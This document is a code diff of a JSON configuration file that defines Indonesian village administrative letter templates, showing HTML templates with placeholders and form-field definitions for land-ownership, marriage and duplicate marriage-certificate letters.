      \u00a0<\/td>\r\n8.<\/td>\r\nNIK \/ Tanggal Lahir Ibu<\/td>\r\n:<\/td>\r\n[Nik_ibU] \/ [Tempatlahir_ibU]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan Ibu<\/td>\r\n:<\/td>\r\n[Pekerjaan_ibU]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n10.<\/td>\r\nAlamat Ibu<\/td>\r\n:<\/td>\r\n[Alamat_ibU] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n11.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[NAma_ayah]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n12.<\/td>\r\nNIK \/ Tanggal Lahir Ayah<\/td>\r\n:<\/td>\r\n[Nik_ayaH] \/ [Tanggallahir_ayaH]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n13.<\/td>\r\nPekerjaan Ayah<\/td>\r\n:<\/td>\r\n[Pekerjaan_ayaH]\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n14.<\/td>\r\nAlamat Ayah<\/td>\r\n:<\/td>\r\n[Alamat_ayaH] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nSurat Keterangan ini dibuat berdasarkan keterangan pelapor:<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n15.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pelapor]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n16.<\/td>\r\nNIK \/ Jenis Kelamin<\/td>\r\n:<\/td>\r\n[Nik_pelapoR] \/ [Jenis_kelamin_pelapoR]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n17.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl_pelapoR]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n18.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_pelapoR]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n19.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[Alamat_pelapoR]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Demikian surat keterangan ini dibuat dengan sebenarnya, atas perhatian dan terkabulnya diucapkan terima kasih.

      <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_desA], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nNama_pamonG<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nNIP : [Nip_kepala_camaT]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n[qr_code]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \u00a0<\/div>", - "form_isian": { - "individu": { - "sumber": 1, + "slama": { + "sumber": "0", "data": [ "1" ], - "sex": "", - "status_dasar": [ - "1" - ], + "sex": "1", + "status_dasar": null, "kk_level": [ "1", "2", @@ -3612,18 +3500,15 @@ "8", "9", "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", + "11" + ], + "judul": "Suami Terdahulu", + "label": "B.4 DATA SUAMI TERDAHULU", "info": "", - "sebagai": 1, - "hubungan": null + "hubungan": "" }, - "pelapor": { - "sumber": 1, + "Saksi_I": { + "sumber": "1", "data": [ "1", "3" @@ -3634,7 +3519,10 @@ "2", "3", "4", + "5", "6", + "7", + "8", "9" ], "kk_level": [ @@ -3650,48 +3538,28 @@ "10", "11" ], - "judul": "Identitas Pelapor", - "label": "Identitas Pelapor", + "judul": "Saksi I", + "label": "B. Saksi 1", "info": "", - "sebagai": 0, "hubungan": "" - } - }, - "kode_isian": null, - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Kepemilikan Tanah", - "url_surat": "surat-keterangan-kepemilikan-tanah", - "kode_surat": "S-49", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "d", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [FOrmat_nomor_suraT]

      <\/p>\r\n

      Yang bertanda tangan di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma_pamong]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nJabatan<\/td>\r\n:<\/td>\r\n[JaBatan] [NaMa_desa], [SeButan_kecamatan] [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Dengan ini menerangkan bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NamA]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TempatlahiR] \/ [TanggallahiR]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsiA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlamaT] [SeButan_desa] [NaMa_desa], [SeButan_kecamatan] [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Adalah benar-benar penduduk [Sebutan_desA] [NaMa_desa], yang memiliki\/menguasai tanah\/lahan berupa [FoRm_jenis_tanah]<\/strong> atas nama [Form_atas_namA]<\/strong>, yang berada di [Sebutan_desA] [NaMa_desa]. Tercatat dalam [FOrm_bukti_kepemilikan]<\/strong>, Nomor : [Form_nomor_bukti_kepemilikaN]<\/strong>, Luas :\u00a0[Form_luas_tanaH]\u00a0<\/strong>M2<\/sup>, dengan batas-batas :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\nSebelah Utara<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_utarA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nSebelah Timur<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_timuR]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nSebelah Selatan<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_selataN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nSebelah Barat<\/td>\r\n:<\/td>\r\n[Form_batas_sebelah_baraT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \r\n
      1. Tanah tersebut benar-benar MILIK<\/em> yang bersangkutan dan tidak dalam keadaan sengketa<\/strong>.<\/li>\r\n
      2. Tanah tersebut berasal dari [FOrm_asal_kepemilikan_tanah]<\/strong> dan sampai dengan sekarang belum terdaftar \/ didaftarkan Hak nya ke BPN (belumditerbitkan : SIIM \/ SIIGB \/ SIIGU \/ LAINNYA)<\/li>\r\n
      3. Bukti pendukung kepemilikan sementara ini berupa [Form_bukti_pendukung_kepemilikan]<\/strong>.<\/li>\r\n<\/ol>\r\n

        Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n



        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemilih<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, + }, + "Saksi_II": { + "sumber": "1", "data": [ - "1" + "1", + "3" ], "sex": "", "status_dasar": [ - "1" + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9" ], "kk_level": [ "1", @@ -3706,28 +3574,18 @@ "10", "11" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", + "judul": "Saksi II", + "label": "B. Saksi 2", "info": "", - "sebagai": 1, - "hubungan": null + "hubungan": "" }, - "tanah": { - "sumber": 0, + "kawin": { + "sumber": "0", "data": [ "1" ], "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], + "status_dasar": null, "kk_level": [ "1", "2", @@ -3741,665 +3599,775 @@ "10", "11" ], - "judul": "Tanah", - "label": "DETAIL INFORMASI TANAH \/ LAHAN", + "judul": "Data Perkawinan", + "label": "C. Data Perkawinan", "info": "", - "sebagai": 0, "hubungan": "" } }, "kode_isian": [ { - "kategori": "tanah", - "tipe": "select-manual", - "kode": "[form_jenis_tanah]", - "nama": "Jenis Tanah", - "deskripsi": "- Pilih Jenis Tanah -", - "required": "1", + "tipe": "select-manual", + "kode": "[form_status_kawin]", + "nama": "Status Kawin", + "deskripsi": "Pilih Status Kawin", + "required": "1", + "atribut": null, + "pilihan": [ + "Jejaka", + "Duda", + "Beristri" + ], + "refrensi": null, + "kolom": "6", + "label": "Jika pria, terangkan jejaka, duda atau beristri", + "kaitkan_kode": "[{\"nilai_isian\":[\"Beristri\"],\"kode_isian_terkait\":[\"Istri ke\"]}]" + }, + { + "tipe": "number", + "kode": "[form_istri_ke]", + "nama": "Istri ke", + "deskripsi": "Jika beristri, istri ke-", + "required": "0", + "atribut": "min=1 max=10 class=\"\"", + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "Jika beristri, istri ke-", + "kaitkan_kode": "" + }, + { + "tipe": "number", + "kode": "[form_anak_ke]", + "nama": "Anak ke", + "deskripsi": "Anak ke", + "required": "0", + "atribut": "min=1 max=10 class=\"\"", + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "number", + "kode": "[form_perkawinan_ke]", + "nama": "Perkawinan ke", + "deskripsi": "Perkawinan ke", + "required": "0", + "atribut": "min=1 max=10 class=\"\"", + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "number", + "kode": "[form_paspor]", + "nama": "Paspor", + "deskripsi": "Paspor", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "number", + "kode": "[form_telepon]", + "nama": "Telepon", + "deskripsi": "Telepon", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Telepon", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_nama_organisasi_penghayat_kepercayaan]", + "nama": "Nama Organisasi Penghayat Kepercayaan", + "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Nama Organisasi Penghayat Kepercayaan", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_kebangsaan_bagi_wna]", + "nama": "Kebangsaan (Bagi WNA)", + "deskripsi": "Kebangsaan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Kebangsaan (Bagi WNA)", + "kaitkan_kode": "" + }, + { + "kategori": "dapp", + "tipe": "number", + "kode": "[form_telepon]", + "nama": "Telepon", + "deskripsi": "Telepon", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Telepon", + "kaitkan_kode": "" + }, + { + "kategori": "dapp", + "tipe": "text", + "kode": "[form_nama_organisasi_penghayat_kepercayaan]", + "nama": "Nama Organisasi Penghayat Kepercayaan", + "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Nama Organisasi Penghayat Kepercayaan", + "kaitkan_kode": "" + }, + { + "kategori": "dipp", + "tipe": "number", + "kode": "[form_telepon]", + "nama": "Telepon", + "deskripsi": "Telepon", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Telepon", + "kaitkan_kode": "" + }, + { + "kategori": "dipp", + "tipe": "text", + "kode": "[form_nama_organisasi_penghayat_kepercayaan]", + "nama": "Nama Organisasi Penghayat Kepercayaan", + "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Nama Organisasi Penghayat Kepercayaan", + "kaitkan_kode": "" + }, + { + "kategori": "ilama", + "tipe": "text", + "kode": "[form_nama_istri_terdahulu]", + "nama": "Nama Istri Terdahulu", + "deskripsi": "Nama Istri Terdahulu ", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Nama Istri Terdahulu \/ Bin Terdahulu", + "kaitkan_kode": "" + }, + { + "kategori": "ilama", + "tipe": "text", + "kode": "[form_bin]", + "nama": "Bin", + "deskripsi": "Bin", + "required": "0", "atribut": null, - "pilihan": [ - "Tanah Sawah", - "Tanah Darat", - "Tanah Bangunan" - ], + "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "Jenis dan Luas Tanah", + "kolom": "4", + "label": "Nama Istri Terdahulu \/ Bin Terdahulu", "kaitkan_kode": "" }, { - "kategori": "tanah", - "tipe": "number", - "kode": "[form_luas_tanah]", - "nama": "Luas Tanah", - "deskripsi": "Luas Tanah (dalam M2)", - "required": "1", - "atribut": "min=\"0\"", + "kategori": "ilama", + "tipe": "text", + "kode": "[form_no_ktp]", + "nama": "No Ktp", + "deskripsi": "No KTP", + "required": "0", + "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "Jenis dan Luas Tanah", + "kolom": "4", + "label": "Nama Istri Terdahulu \/ Bin Terdahulu", "kaitkan_kode": "" }, { - "kategori": "tanah", - "tipe": "select-manual", - "kode": "[form_bukti_kepemilikan]", - "nama": "Bukti Kepemilikan", - "deskripsi": "- Pilih Bukti Kepemilikan Tanah -", - "required": "1", + "kategori": "ilama", + "tipe": "text", + "kode": "[form_tempat_lahir]", + "nama": "Tempat Lahir", + "deskripsi": "Tempat Tanggal Lahir", + "required": "0", "atribut": null, - "pilihan": [ - "Petok lama", - "Petok baru", - "Sit segel", - "Akta", - "Copy", - "Buku Krawangan Desa", - "Lainnya" - ], + "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "Kepemilikan Tanah", + "kolom": "8", + "label": "Tempat Tanggal Lahir", "kaitkan_kode": "" }, { - "kategori": "tanah", + "kategori": "ilama", + "tipe": "date", + "kode": "[form_tanggal_lahir]", + "nama": "Tanggal Lahir", + "deskripsi": "Tempat Tanggal Lahir", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Tempat Tanggal Lahir", + "kaitkan_kode": "" + }, + { + "kategori": "ilama", + "tipe": "select-otomatis", + "kode": "[form_warga_negara]", + "nama": "Warga Negara", + "deskripsi": "Pilih Warga Negara", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": "tweb_penduduk_warganegara", + "kolom": "4", + "label": "Warganegara \/ Agama \/ Pekerjaan", + "kaitkan_kode": "" + }, + { + "kategori": "ilama", + "tipe": "select-otomatis", + "kode": "[form_agama]", + "nama": "Agama", + "deskripsi": "Pilih Agama", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": "tweb_penduduk_agama", + "kolom": "4", + "label": "Warganegara \/ Agama \/ Pekerjaan", + "kaitkan_kode": "" + }, + { + "kategori": "ilama", + "tipe": "select-otomatis", + "kode": "[form_pekerjaan]", + "nama": "Pekerjaan", + "deskripsi": "Pilih Pekerjaan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": "tweb_penduduk_pekerjaan", + "kolom": "4", + "label": "Warganegara \/ Agama \/ Pekerjaan", + "kaitkan_kode": "" + }, + { + "kategori": "ilama", "tipe": "text", - "kode": "[form_nomor_bukti_kepemilikan]", - "nama": "Nomor Bukti Kepemilikan", - "deskripsi": "Nomor Bukti Kepemilikan", - "required": "1", + "kode": "[form_tempat_tinggal]", + "nama": "Tempat Tinggal", + "deskripsi": "Tempat Tinggal", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "Kepemilikan Tanah", + "kolom": "12", + "label": "Tempat Tinggal", "kaitkan_kode": "" }, { - "kategori": "tanah", + "kategori": "ilama", + "tipe": "date", + "kode": "[form_tanggal_meninggal]", + "nama": "Tanggal Meninggal", + "deskripsi": "Tanggal Meninggal", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Meninggal Dunia Pada Tanggal \/ Tempat", + "kaitkan_kode": "" + }, + { + "kategori": "ilama", "tipe": "text", - "kode": "[form_atas_nama]", - "nama": "Atas Nama", - "deskripsi": "Atas Nama", - "required": "1", + "kode": "[form_tempat_meninggal]", + "nama": "Tempat Meninggal", + "deskripsi": "Tempat Meninggal", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Kepemilikan Tanah", + "kolom": "8", + "label": "Meninggal Dunia Pada Tanggal \/ Tempat", "kaitkan_kode": "" }, { - "kategori": "tanah", + "kategori": "cpw", "tipe": "select-manual", - "kode": "[form_asal_kepemilikan_tanah]", - "nama": "Asal Kepemilikan Tanah", - "deskripsi": "- Pilih Asal Kepemilikan Tanah -", + "kode": "[form_status_kawin]", + "nama": "Status Kawin", + "deskripsi": "Pilih Status Kawin", "required": "1", "atribut": null, "pilihan": [ - "Yayasan", - "Warisan", - "Hibah", - "Jual Beli", - "Lainnya" + "Perawan", + "Janda", + "Bersuami" ], "refrensi": null, + "kolom": "6", + "label": "Jika wanita, terangkan perawan atau janda", + "kaitkan_kode": "" + }, + { + "kategori": "cpw", + "tipe": "number", + "kode": "[form_anak_ke]", + "nama": "Anak ke", + "deskripsi": "Anak ke-", + "required": "0", + "atribut": "min=1 max=10 class=\"\"", + "pilihan": null, + "refrensi": null, "kolom": "3", - "label": "Asal dan Bukti Kepemilikan", + "label": "", "kaitkan_kode": "" }, { - "kategori": "tanah", - "tipe": "text", - "kode": "[form_bukti_pendukung_kepemilikan]", - "nama": "Bukti Pendukung Kepemilikan", - "deskripsi": "Bukti Pendukung Kepemilikan", - "required": "1", - "atribut": null, + "kategori": "cpw", + "tipe": "number", + "kode": "[form_perkawinan_ke]", + "nama": "Perkawinan ke", + "deskripsi": "Perkawinan ke-", + "required": "0", + "atribut": "min=1 max=10 class=\"\"", "pilihan": null, "refrensi": null, "kolom": "3", - "label": "Asal dan Bukti Kepemilikan", + "label": "", "kaitkan_kode": "" }, { - "kategori": "tanah", - "tipe": "text", - "kode": "[form_batas_sebelah_utara]", - "nama": "Batas Sebelah Utara", - "deskripsi": "Batas Sebelah Utara", - "required": "1", + "kategori": "cpw", + "tipe": "number", + "kode": "[form_passport]", + "nama": "passport", + "deskripsi": "passport", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Batas Tanah", + "label": "", "kaitkan_kode": "" }, { - "kategori": "tanah", - "tipe": "text", - "kode": "[form_batas_sebelah_timur]", - "nama": "Batas Sebelah Timur", - "deskripsi": "Batas Sebelah Timur", - "required": "1", + "kategori": "cpw", + "tipe": "number", + "kode": "[form_telepon]", + "nama": "Telepon", + "deskripsi": "Telepon", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Batas Tanah", + "label": "Telepon", "kaitkan_kode": "" }, { - "kategori": "tanah", - "tipe": "text", - "kode": "[form_batas_sebelah_selatan]", - "nama": "Batas Sebelah Selatan", - "deskripsi": "Batas Sebelah Selatan", - "required": "1", + "kategori": "cpw", + "tipe": "text", + "kode": "[form_nama_organisasi_penghayat_kepercayaan]", + "nama": "Nama Organisasi Penghayat Kepercayaan", + "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Batas Tanah", + "label": "Nama Organisasi Penghayat Kepercayaan", "kaitkan_kode": "" }, { - "kategori": "tanah", + "kategori": "cpw", "tipe": "text", - "kode": "[form_batas_sebelah_barat]", - "nama": "Batas Sebelah Barat", - "deskripsi": "Batas Sebelah Barat", - "required": "1", + "kode": "[form_kebangsaan_bagi_wna]", + "nama": "Kebangsaan (Bagi WNA)", + "deskripsi": "Kebangsaan", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Batas Tanah", + "label": "Kebangsaan (Bagi WNA)", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Permohonan Duplikat Surat Nikah", - "url_surat": "surat-permohonan-duplikat-surat-nikah", - "kode_surat": "S-33", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": false, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": null, - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNomor KK<\/td>\r\n:<\/td>\r\n[No_kK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Yang namanya tersebut di atas memang benar warga kami dan telah menikah di KUA [Form_kecamatan_kuA] pada [Form_tanggal_nikaH] dengan seseorang yang bernama [Form_nama_pasangaN]. Berdasarkan data di atas mohon untuk dibuatkan Duplikat Surat Nikah orang tersebut di atas.<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + }, { - "tipe": "text", - "kode": "[form_kecamatan_kua]", - "nama": "Kecamatan KUA", - "deskripsi": "Isi Kecamatan KUA", + "kategori": "dapw", + "tipe": "number", + "kode": "[form_telepon]", + "nama": "Telepon", + "deskripsi": "Telepon", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "6", + "label": "Telepon", "kaitkan_kode": "" }, { - "tipe": "date", - "kode": "[form_tanggal_nikah]", - "nama": "Tanggal Nikah", - "deskripsi": "Isi Tanggal Nikah", + "kategori": "dapw", + "tipe": "text", + "kode": "[form_nama_organisasi_penghayat_kepercayaan]", + "nama": "Nama Organisasi Penghayat Kepercayaan", + "deskripsi": "Nama Organisasi Penghayat Kepercayaan", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "", + "kolom": "6", + "label": "Nama Organisasi Penghayat Kepercayaan", "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_nama_pasangan]", - "nama": "Nama Pasangan", - "deskripsi": "Isi Nama Pasangan", + "kategori": "dipw", + "tipe": "number", + "kode": "[form_telepon]", + "nama": "Telepon", + "deskripsi": "Telepon", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "6", + "label": "Telepon", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Perintah Perjalanan Dinas", - "url_surat": "surat-perintah-perjalanan-dinas", - "kode_surat": "S-46", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": false, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": null, - "template": "\r\n\r\n\r\n\r\n\r\n
